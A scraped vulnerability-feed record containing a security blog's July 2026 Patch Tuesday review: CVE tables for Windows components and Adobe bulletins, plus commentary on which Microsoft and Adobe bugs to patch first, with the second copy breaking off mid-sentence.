Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:01:56.341135Z"}, {"uuid": "6a322be7-2377-4e07-96d5-5d61ba0b87f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54117", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s 